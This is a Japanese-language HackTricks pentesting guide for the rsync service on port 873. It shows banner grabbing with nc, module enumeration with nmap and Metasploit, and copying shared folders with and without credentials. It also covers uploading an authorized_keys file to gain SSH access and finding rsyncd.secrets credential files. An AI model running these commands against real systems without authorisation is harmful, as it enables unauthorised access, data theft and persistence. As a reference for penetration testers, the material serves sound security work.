hacktricks/network-services-pentesting/873-pentesting-rsync.md
2023-07-07 23:42:27 +00:00

8.1 KiB
Raw Blame History

873 - Pentesting Rsync

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

rsyncは、コンピュータと外部ハードドライブ、およびネットワーク上のコンピュータ間でのファイルの転送同期を効率的に行うためのユーティリティです。これは、ファイルの変更時刻とサイズを比較することによって、Unix-likeオペレーティングシステムで一般的に見られます。rsyncアルゴリズムはデルタエンコーディングの一種であり、ネットワーク使用量を最小限に抑えるために使用されます。Zlibは追加のデータ圧縮に使用される場合があります。また、セキュリティのためにSSHまたはstunnelを使用することもできます。

wikipediaから。

デフォルトポート: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

列挙

バナーと手動通信

rsyncは、ネットワーク上でファイルを同期するための効果的なツールです。rsyncサーバーが公開されている場合、以下の手法を使用して情報を収集できます。

  1. バナーバージョンの取得rsyncサーバーに接続し、バナーバージョンを取得します。これにより、サーバーのバージョン情報が明らかになります。

  2. マニュアル通信rsyncクライアントを使用して、rsyncサーバーに接続し、手動で通信を行います。これにより、サーバーの応答やサポートされているコマンドなどの情報を取得できます。

以下のコマンドを使用して、rsyncサーバーに接続し、バナーバージョンを取得します。

rsync <IP>:<PORT>

手動通信を行うには、以下のコマンドを使用します。

rsync <IP>::

これにより、サーバーの応答が表示されます。

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

共有フォルダの列挙

rsyncモジュールは基本的にディレクトリの共有です。これらのモジュールはオプションでパスワードで保護することもできます。このオプションは利用可能なモジュールをリストし、必要に応じてモジュールへのアクセスにパスワードが必要かどうかを判断します**:**

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

隠されているものがあるかもしれないので、共有名がリストされないように設定されている可能性があります。
アクセスするためには、(異なる)認証情報が必要ないくつかの共有名がリストされているかもしれません。したがって、常にすべてのリストされた名前にアクセスできるわけではなく、いくつかの名前にアクセスしようとすると「アクセスが拒否されました」というメッセージが表示されることに気付くでしょう。

ブルートフォース

手動Rsync

モジュールのリストを取得したら、実行するアクションと認証が必要かどうかに応じて、いくつかの異なるオプションがあります。認証が必要ない場合は、共有フォルダをリストすることができます。

rsync -av --list-only rsync://192.168.0.123/shared_name

そして、以下のコマンドを使用して、すべてのファイルをローカルマシンにコピーします。

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

これは、マシン <IP> のディレクトリ <shared_name> からすべてのファイルを再帰的に ./rsync_shared ディレクトリにローカルマシンに転送します。ファイルは「アーカイブ」モードで転送されるため、シンボリックリンク、デバイス、属性、パーミッション、所有権などが転送時に保持されます。

資格情報を持っている場合、以下のコマンドを使用して共有名をリストアップ/ダウンロードすることができます(パスワードはプロンプトに表示されます):

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

あなたはrsyncを使用していくつかのコンテンツをアップロードすることもできますたとえば、この場合、_authorized_keys_ファイルをアップロードしてボックスへのアクセスを取得できます

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncdの設定ファイルを見つける

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

設定ファイル内には、パラメーター_secrets file = /path/to/file_が含まれていることがあります。このファイルには、rsyncdへの認証が許可されているユーザー名とパスワードが含まれている可能性があります。